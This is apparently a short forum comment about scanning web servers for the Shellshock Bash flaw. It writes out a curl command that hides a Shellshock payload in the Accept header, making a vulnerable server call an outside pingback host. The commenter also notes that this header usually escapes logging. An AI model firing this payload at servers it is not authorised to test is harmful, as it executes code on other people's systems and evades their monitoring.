Comment by gwillem

This is quite stealthy way to scan, as Accept headers are generally not logged:

    curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' 

Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.